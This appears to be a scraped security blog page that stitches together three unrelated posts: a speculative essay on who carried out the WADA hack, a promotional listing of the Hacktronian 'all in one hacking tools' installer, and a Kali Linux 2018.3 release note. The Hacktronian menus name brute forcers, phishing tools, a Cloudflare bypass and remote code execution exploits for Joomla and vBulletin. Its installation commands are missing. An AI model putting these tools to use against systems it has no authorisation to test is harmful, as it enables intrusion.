The creator of the video can't double click. Is it because he has a malfunctioning mouse? Is it because he uses a virtualization console, which is near-perfect OPSEC to hide your real identity? My personal experience is that using virtualization consoles remotely (e.g. RDP) has very similar effects to what we can see on the video.
The timeline of the Twitter account is quite strange, registered in 2010
I agree with the Threatconnect analysis that this @anpoland account is probably a faketivist, and not an activist. But who is behind it, remains a mystery.
Either the "activist" is using a whonix-like setup for remaining anonymous, or a TOR router (something like this), or does not care about privacy at all. Looking at the response times (SQLmap, web browser), I doubt this "activist" is behind anything related to TOR. Which makes no sense for an activist, who publishes his hack on Youtube. People are stupid for sure, but this does not add up. It makes sense that this was a server (paid by bitcoins or stolen credit cards or whatever) rather than a home computer.

For me, this whole @anpoland thing makes no sense, and I think it is just loosely connected to the WADA hack.

The mysterious Korean characters in the HTML source

There is another interesting flag in the whole story, which actually makes no sense. When the website was published, there were Korean characters in HTML comments.

https://web.archive.org/web/20160913013727/http://fancybear.net/

When someone pointed this out on Twitter, these Korean HTML comments disappeared:

https://web.archive.org/web/20160914231209/http://www.fancybear.net/

These HTML comments look like generated HTML comments, from a WYSIWYG editor, which is using the Korean language. Let me know if you can identify the editor.

The Russians are denying it

Well, what choice they have? It does not matter if they did this or not, they will deny it. And they can't deny this differently. Just imagine a spokesperson: "Previously we have falsely denied the DCC and DNC hacks, but this time please believe us, this wasn't Russia." Sounds plausible ...

Attribution

Let me sum up what we know:

It makes sense that the WADA hack was done by Russia, because:

Russia being almost banned from the Olympics due to doping scandal, it made sense to discredit WADA and US Olympians
There are multiple(weak) pieces of evidence which point to Russia

It makes sense that the WADA hack was not done by Russia, because:

By instantly attributing the hack to the Russians, the story was more about to discredit Russia than discrediting WADA or US Olympians.
In reality, there was no gain for Russia for disclosing the documents. Nothing happened, nothing changed, no discredit for WADA. Not a single case turned out to be illegal or unethical.
~~Altering the leaked documents makes no sense if it was Russia~~ (see update at the end). Altering the leaked documents makes a lot of sense if it was not Russia. Because from now on, people can always state "these leaks cannot be trusted, so it is not true what is written there". It is quite cozy for any US organization, who has been hacked or will be hacked. If you are interested in the "Russians forging leaked documents" debate, I highly recommend to start with this The Intercept article
If the Korean characters were false flags planted by the Russians, why would they remove it? If it had been Russian characters, I would understand removing it.
All evidence against Russia is weak, can be easily forged by even any script kittie.

I don't like guessing, but here is my guess. This WADA hack was an operation of a (non-professional) hackers-for-hire service, paid by an enemy of Russia. The goal was to hack WADA, leak the documents, modify some contents in the documents, and blame it all on the Russians ...

Questions and answers

Was Russia capable of doing this WADA hack? Yes.
Was Russia hacking WADA? Maybe yes, maybe not.
Was this leak done by a Russian state-sponsored hacker group? I highly doubt that.
Is it possible to buy an attribution-dice where all six-side is Russia? No, it is sold-out.

To quote Patrick Gray: "Russia is the new China, and the Russians ate my homework."©

Let me know what you think about this, and please comment.

Update: As TheGrugq pointed out, Guccifer has been found to alter documents https://www.reddit.com/r/EnoughTrumpSpam/comments/4uyih3/russian_hackers_altered_emails_before_release_to/?st=IUJDLSIE&sh=e195e908

Sunday, May 17, 2020

Hacktronian: All In One Hacking Tools Installer For Linux And Android

Hacktronian Installation
Termux users must install Python and Git first: pkg install git python
Then enter these commands: You can watch the full installation tutorial here:

Hacktronian Menu:

Information Gathering

Password Attacks

Wireless Testing

Exploitation Tools

Sniffing & Spoofing

Web Hacking

Private Web Hacking

Post Exploitation

Install The HACKTRONIAN

Information Gathering menu:

Nmap

SEToolkit

Port Scanning

Host To IP

wordpress user

CMS scanner

XSStrike Dork - Google Dorks Passive Vulnerability Auditor

Scan A server's Users Crips

Password Attacks menu:

Cupp

Ncrack

Wireless Testing menu:

Reaver

PixieWPS

Fluxion

Exploitation Tools menu:

ATSCAN

SQLMap

Shellnoob

commix

FTP Auto Bypass

jboss-autopwn

Sniffing and Spoofing menu:

SEToolkit

SSLtrip

pyPISHER

SMTP Mailer

Web Hacking menu:

Drupal Hacking

Inurlbr

Wordpress & Joomla Scanner

Gravity Form Scanner

File Upload Checker

Wordpress Exploit Scanner

Wordpress Plugins Scanner

Shell and Directory Finder

Joomla! 1.5 - 3.4.5 remote code execution

Vbulletin 5.X remote code execution

BruteX - Automatically brute force all services running on a target

Arachni - Web Application Security Scanner Framework

Private Web Hacking:

Get all websites

Get joomla websites

Get wordpress websites

Control Panel Finder

Zip Files Finder

Upload File Finder

Get server users

SQli Scanner

Ports Scan (range of ports)

ports Scan (common ports)

Get server Info

Bypass Cloudflare

Post Exploitation:

Shell Checker

POET

Weeman

Hacktronian's License: MIT Licence

That's It... If You Like This Repo. Please Share This With Your Friends. And Don't Forget To Follow The Author At Twitter, Instagram, Github & SUBSCRIBE His YouTube Channel!!!

Thank you. Keep Visiting.. Enjoy.!!! :)

Download Hacktronian

Kali Linux 2018.3 Release - Penetration Testing And Ethical Hacking Linux Distribution

Kali 2018.3 brings the kernel up to version 4.17.0 and while 4.17.0 did not introduce many changes, 4.16.0 had a huge number of additions and improvements including more Spectre and Meltdown fixes, improved power management, and better GPU support.

New Tools and Tool Upgrades

Since our last release, we have added a number of new tools to the repositories, including:

idb – An iOS research / penetration testing tool
gdb-peda – Python Exploit Development Assistance for GDB
datasploit – OSINT Framework to perform various recon techniques
kerberoast – Kerberos assessment tools

In addition to these new packages, we have also upgraded a number of tools in our repos including aircrack-ng, burpsuite, openvas,wifite, and wpscan.
For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog.

Download Kali Linux 2018.3

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the Offensive Security virtual machine and ARM images, which have also been updated to 2018.3. If you already have a Kali installation you're happy with, you can easily upgrade in place as follows.

root@kali:~# apt update && apt -y full-upgrade

If you come across any bugs in Kali, please open a report on our bug tracker. It's more than a little challenging to fix what we don't know about.

Making sure you are up-to-date

To double check your version, first make sure your network repositories is enabled.

root@kali:~# cat</etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main non-free contrib
EOF
root@kali:~#

Then after running apt -y full-upgrade, you may require a reboot before checking:

root@kali:~# grep VERSION /etc/os-release
VERSION="2018.3"
VERSION_ID="2018.3"
root@kali:~#